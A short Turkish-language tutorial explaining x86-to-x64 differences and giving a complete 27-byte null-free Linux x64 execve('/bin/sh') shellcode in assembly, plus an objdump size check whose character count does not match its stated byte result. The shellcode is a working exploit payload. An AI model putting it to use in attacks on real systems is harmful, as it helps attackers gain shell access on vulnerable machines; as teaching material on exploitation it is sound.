Modern Shellcode - Linux x64 - 27 Bytes

Linux/x64 execve(/bin/sh) - 27 Bytes (Null-Free)

64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.

x64 vs x86 Farklari

x86 → x64 eax → rax (64-bit) ebx → rdi (1. arg - System V AMD64 ABI) ecx → rsi (2. arg) int 0x80 → syscall execve = 59 (x64) | 11 (x86)

x64 Assembly

section .text global _start _start: xor rdi, rdi mul rdi ; rax=0, rdx=0 push rax mov rcx, 0x68732f6e69622f2f ; //bin/sh push rcx mov rdi, rsp ; rdi = /bin//sh push rax push rdi mov rsi, rsp mov al, 59 ; execve = 59 syscall

Boyut Dogrulama

objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c # Cikti: 27